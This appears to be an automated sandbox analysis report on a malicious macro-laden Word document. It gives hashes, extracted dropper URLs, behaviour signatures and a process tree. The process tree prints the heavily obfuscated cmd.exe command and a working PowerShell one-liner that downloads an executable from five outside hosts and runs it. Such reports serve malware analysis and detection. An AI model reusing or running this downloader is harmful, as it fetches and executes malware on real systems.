Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
13-05-2024 09:08
General
-
Target
3eba91b1b5863c70212f54cbec5ac1ee_JaffaCakes118.doc
-
Size
170KB
-
MD5
3eba91b1b5863c70212f54cbec5ac1ee
-
SHA1
9ecaa499f91a14ab2b4179d775126ce14f318a15
-
SHA256
e1662738f330bfebfdea0cf3b2e65a6d60dc7ba570737f75091cb71a547b20e8
-
SHA512
af1ecf4530042e5756bef2b96d135402c0a739f9fb7708889cc9ebb907f027aa814a7b7dc7ba1b02288745eb65f2116ee97b373c9ebc02b4c046e16f78128a6f
-
SSDEEP
3072:KxjnB29gb8onSGxrPVwk5I5Pc4BG1z6/vhAnPMf:Kxy6a5Pc4BGsvhAP8
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://siamgemsheritage.com/career_system/backoffice/uploads/RIew5i
exe.dropper
http://www.essexmarinallc.com/xLC1tT
exe.dropper
http://www.ceo.org.my/W
exe.dropper
http://www.drevostyle.com.ua/e0
exe.dropper
http://siprev.net.br/UC0
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 10 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3eba91b1b5863c70212f54cbec5ac1ee_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SysWOW64\Cmd.exeCmd ZFspqlzL BLbiBidWQwNLYFkATwFcCBi XTHCIku & %co^m^S^p^E^c% /c ^C^m^D;;; ; ^/v: ^ ;;;/^c " ;; ; (^s^e^t ^ o^C=Ci^w HZo F^wD uhr ^OJg f^r^l^ UD^1^ ^H^Wp^ l^t^Q ^M4Y ^e ^g aiR^ ^b0^U K^J1 XO^E o^k^a^ ^w^a^W^ j^ci}adN}^h^8^6{5BThBEqciak^t1^Zoa^D^6^k^cvtT}k^X^U^;^yTHk^4I2aWFu^e^yY^O^rf^q^Wb5x^T;p9TUL^0^UM^YU1k^5g^ ^$^gBZ Lav^sS^Eus^OE^A^e^FT0c^j^CAoupCr^ei^t^PizC-^ ^Y^RthZ^ard^a^w^aWmR^tK0cSG n^;^8^M4^)g^Pn^U^g^TfMLw^ykUQ^b$^tb^i ^6r^R,^Cz6o^60vr1^C^J^L^Wbr^$p6^y^(^xEwe2^ 1^lZt^Ki^xk^b^FM^FWdWM4^aF^Y^Vo^a^1^s^l^R^rSn^sjZw^fM^So^Vy^O^DhvY. d^Gr^Kt6SS7H^M^r^0v$8^J^B{^wO^7^y^P^C^F^rNDetJM^b{iv1^)^h3EF^rl^7^ZpG^A^SWM^w^$2On 3^YznFR^7^ir2m^ ^j^e^co4sv^r^Z^rnL1^2^Q$jou^(^bDnh^A^urc9^B^uaj6^X^eY^5xr3^q^5^odi^Ef^L^O^6;^sZ9'euO^e0^r^7xwE^Je ^Hz.1^2^E'Q^gH^+2^cr^t^Hq^I^jVY^F^i^M9^s$eK^6^+u^b^e^'O^0Z^\BT^J^'Nbk^+y^Jlp^t^r8^m^H^3^P^epY^G^t^Yf^s:^2^c ^vfIJnt6e^e^d^f^2$5l^X^=8^WDU^ED^S^Mc3^xkc^9^ $0t^T;^WFn'e^ V0^J7H2^0B^6^3^L^bB'7^e^0^ lFB=^H^h ^ HKPt^o^t4jMhI^i^g^kC^$8^A^F;IF^u^)C^fW'LTN^@C^o^4'^WKD^(92^7tbZS^iD68l^JYX^pY3^LSnLh.GI^k'w^ 70xsFCA^T^y^U^Ahr/^8cZrR^J^tb^U^mV.^2^uZt^4^x^8ePFon^eyx.kzA^v^p^Ja^e6^O^hrIPj^py^Zr^i^G^xL^s^b^HI/Sd^O/^UY^K:WKIp^JnktP^HJ^t^t^jo^hO^j^Q^@a^Z^w^0zfQ^eoTN^/^Mm0^a^9JCuD^RG.B^8amjl^Mot^zy^cDwG.r^xn^ed^WA^l Q^Ey^GB^f^t^L^3G^sj^AN^osX^C^vn^79eqb^prr^HI^ddm^v^.fv9^wNSQw^AB^C^w6R^C/r^b^k/^7^kb^:^3o^LpFt^Dt^e^ott^3^alhL^oJ^@^XY^FWw^Zs^/v8^0y^KvXmsV^L^.SUhg^o^K^Crxi^b^oz6H^.27m^o^a^2CeMxvcRM^z.^c4^T^wf^Qj^w3^q^Iwn^7^6/ai^K^/7^S^P:^H^AKpl^TA^t^TJ^ct^sq^P^hs^CO@KViTXnFtd^GJ1t3H^C^MYxL^0t^mx^O^ ^m/^IX7mEtj^ov^PJ^c^QEJ.C^Is^c^ScRljK^m^ly^5^d^aTP5n^l^L^ii^C^8a^rJ^T^haq^4Jm^f^jkx^yuMe^oJM^s^jV^Rs^C1xe^I^Th.^4^B^Dw^ Bvw^VL0w^dDg^/^zg^0^/sd^Z^:E^LCplp^Ut^ue7^tjq^4hoE^s@^ZTE^i^G^B^t5N^Fu^w^K^Dne0^iN^IXqe^Rl^97/rz^wsZ^X^odt^d^ea^j^D^go^FD^ll5^x^jp^i 0uR^MA^/Dxe^exB^qcNY^2i^3pjflV^U^f^F^9aotq^Uk^c^DWcA^O^Ha^M^pk^b2S^l^/WR5mZM^K^eI^5et^L^Mf^s^cT^qyHN0s^9I^B_^T6^ir^c^p^fedHG^e^8x^pr^j^v^Vak^YUcH1^A^/y^kq^m^j^i^k^o^Mk^P^c^Lf^V.fFZe^t^a^0^gGW^pa4^Kbt^2VgiF^3IrCQ^H^eqMb^hK^bQ^sbq^VmvDr^eq^ Gg^23Im^yl^XaJFOik^F^E^sF^x^B^/^C^6^ /Pk^w:M^R7^p^98ltV^zn^t^a2AhPgA^'An^S^=gaOFbm7Z^q^p7SHWR$y^gV;yB^Yt91^en^O1ce8^40i1^9el^6^Fm^Cs^Jg^bo^GS^e^wtFW^xVS.u^b^c^t ^w^Ze6h^ONqa^P ^SUvt^o9mcXDoe^A^17^jX^h^A^b5Xno^op -Vc^rwB9^z^e^a^opns^7q^=53^yrt^R^H^S^KNxMTeq$8^S^W a^K6^lGT^b^lDyfe^c^O6^h ^gx^spM0^rr45^e^tKiwT7q^o5^A6^p)&& ; ;^fOr ; ; /^l; ; ;%^4 ; ;^In ; (^ ;^+^15^83 ^-^4 3^ ^; ) ; ;D^o ;( ( ; ;; s^e^T s^Kp^r=!s^Kp^r!!o^C:~ %^4, 1!) )& ; ; ^i^F; %^4 ; ; ; ; ;; ^L^eQ ; ; ; ^3 ; ; ; (^C^a^lL ; ; %s^Kp^r:^~ ^ -39^6%) "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeCmD ;;; ; /v: ;;;/c " ;; ; (^s^e^t ^ o^C=Ci^w HZo F^wD uhr ^OJg f^r^l^ UD^1^ ^H^Wp^ l^t^Q ^M4Y ^e ^g aiR^ ^b0^U K^J1 XO^E o^k^a^ ^w^a^W^ j^ci}adN}^h^8^6{5BThBEqciak^t1^Zoa^D^6^k^cvtT}k^X^U^;^yTHk^4I2aWFu^e^yY^O^rf^q^Wb5x^T;p9TUL^0^UM^YU1k^5g^ ^$^gBZ Lav^sS^Eus^OE^A^e^FT0c^j^CAoupCr^ei^t^PizC-^ ^Y^RthZ^ard^a^w^aWmR^tK0cSG n^;^8^M4^)g^Pn^U^g^TfMLw^ykUQ^b$^tb^i ^6r^R,^Cz6o^60vr1^C^J^L^Wbr^$p6^y^(^xEwe2^ 1^lZt^Ki^xk^b^FM^FWdWM4^aF^Y^Vo^a^1^s^l^R^rSn^sjZw^fM^So^Vy^O^DhvY. d^Gr^Kt6SS7H^M^r^0v$8^J^B{^wO^7^y^P^C^F^rNDetJM^b{iv1^)^h3EF^rl^7^ZpG^A^SWM^w^$2On 3^YznFR^7^ir2m^ ^j^e^co4sv^r^Z^rnL1^2^Q$jou^(^bDnh^A^urc9^B^uaj6^X^eY^5xr3^q^5^odi^Ef^L^O^6;^sZ9'euO^e0^r^7xwE^Je ^Hz.1^2^E'Q^gH^+2^cr^t^Hq^I^jVY^F^i^M9^s$eK^6^+u^b^e^'O^0Z^\BT^J^'Nbk^+y^Jlp^t^r8^m^H^3^P^epY^G^t^Yf^s:^2^c ^vfIJnt6e^e^d^f^2$5l^X^=8^WDU^ED^S^Mc3^xkc^9^ $0t^T;^WFn'e^ V0^J7H2^0B^6^3^L^bB'7^e^0^ lFB=^H^h ^ HKPt^o^t4jMhI^i^g^kC^$8^A^F;IF^u^)C^fW'LTN^@C^o^4'^WKD^(92^7tbZS^iD68l^JYX^pY3^LSnLh.GI^k'w^ 70xsFCA^T^y^U^Ahr/^8cZrR^J^tb^U^mV.^2^uZt^4^x^8ePFon^eyx.kzA^v^p^Ja^e6^O^hrIPj^py^Zr^i^G^xL^s^b^HI/Sd^O/^UY^K:WKIp^JnktP^HJ^t^t^jo^hO^j^Q^@a^Z^w^0zfQ^eoTN^/^Mm0^a^9JCuD^RG.B^8amjl^Mot^zy^cDwG.r^xn^ed^WA^l Q^Ey^GB^f^t^L^3G^sj^AN^osX^C^vn^79eqb^prr^HI^ddm^v^.fv9^wNSQw^AB^C^w6R^C/r^b^k/^7^kb^:^3o^LpFt^Dt^e^ott^3^alhL^oJ^@^XY^FWw^Zs^/v8^0y^KvXmsV^L^.SUhg^o^K^Crxi^b^oz6H^.27m^o^a^2CeMxvcRM^z.^c4^T^wf^Qj^w3^q^Iwn^7^6/ai^K^/7^S^P:^H^AKpl^TA^t^TJ^ct^sq^P^hs^CO@KViTXnFtd^GJ1t3H^C^MYxL^0t^mx^O^ ^m/^IX7mEtj^ov^PJ^c^QEJ.C^Is^c^ScRljK^m^ly^5^d^aTP5n^l^L^ii^C^8a^rJ^T^haq^4Jm^f^jkx^yuMe^oJM^s^jV^Rs^C1xe^I^Th.^4^B^Dw^ Bvw^VL0w^dDg^/^zg^0^/sd^Z^:E^LCplp^Ut^ue7^tjq^4hoE^s@^ZTE^i^G^B^t5N^Fu^w^K^Dne0^iN^IXqe^Rl^97/rz^wsZ^X^odt^d^ea^j^D^go^FD^ll5^x^jp^i 0uR^MA^/Dxe^exB^qcNY^2i^3pjflV^U^f^F^9aotq^Uk^c^DWcA^O^Ha^M^pk^b2S^l^/WR5mZM^K^eI^5et^L^Mf^s^cT^qyHN0s^9I^B_^T6^ir^c^p^fedHG^e^8x^pr^j^v^Vak^YUcH1^A^/y^kq^m^j^i^k^o^Mk^P^c^Lf^V.fFZe^t^a^0^gGW^pa4^Kbt^2VgiF^3IrCQ^H^eqMb^hK^bQ^sbq^VmvDr^eq^ Gg^23Im^yl^XaJFOik^F^E^sF^x^B^/^C^6^ /Pk^w:M^R7^p^98ltV^zn^t^a2AhPgA^'An^S^=gaOFbm7Z^q^p7SHWR$y^gV;yB^Yt91^en^O1ce8^40i1^9el^6^Fm^Cs^Jg^bo^GS^e^wtFW^xVS.u^b^c^t ^w^Ze6h^ONqa^P ^SUvt^o9mcXDoe^A^17^jX^h^A^b5Xno^op -Vc^rwB9^z^e^a^opns^7q^=53^yrt^R^H^S^KNxMTeq$8^S^W a^K6^lGT^b^lDyfe^c^O6^h ^gx^spM0^rr45^e^tKiwT7q^o5^A6^p)&& ; ;^fOr ; ; /^l; ; ;%^4 ; ;^In ; (^ ;^+^15^83 ^-^4 3^ ^; ) ; ;D^o ;( ( ; ;; s^e^T s^Kp^r=!s^Kp^r!!o^C:~ %^4, 1!) )& ; ; ^i^F; %^4 ; ; ; ; ;; ^L^eQ ; ; ; ^3 ; ; ; (^C^a^lL ; ; %s^Kp^r:^~ ^ -39^6%) "3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell $MSr=new-object Net.WebClient;$SZF='http://siamgemsheritage.com/career_system/backoffice/uploads/RIew5i@http://www.essexmarinallc.com/xLC1tT@http://www.ceo.org.my/W@http://www.drevostyle.com.ua/e0@http://siprev.net.br/UC0'.Split('@');$ijt = '320';$kMU=$env:temp+'\'+$ijt+'.exe';foreach($Lro in $SZF){try{$MSr.DownloadFile($Lro, $kMU);Start-Process $kMU;break;}catch{}}4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
Filesize
20KB
MD5ec0f2fc1400d267870b7c636520385db
SHA1c0458f91a74ccd69d2b665625e7aacf04f43c3e6
SHA25625dd501771bda9c3b7ba9563fcb29a5123015071014f40bca17f1de89df5849a
SHA512a4b5581fd9a9b36c7b6f30527a2bc690275d95e54b1ddad6bd74d6cda00332ef56ef3f30067e607ea5d61a2fff671b3427f79717d91e9ae30b0e4f65ecce531a
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
44KB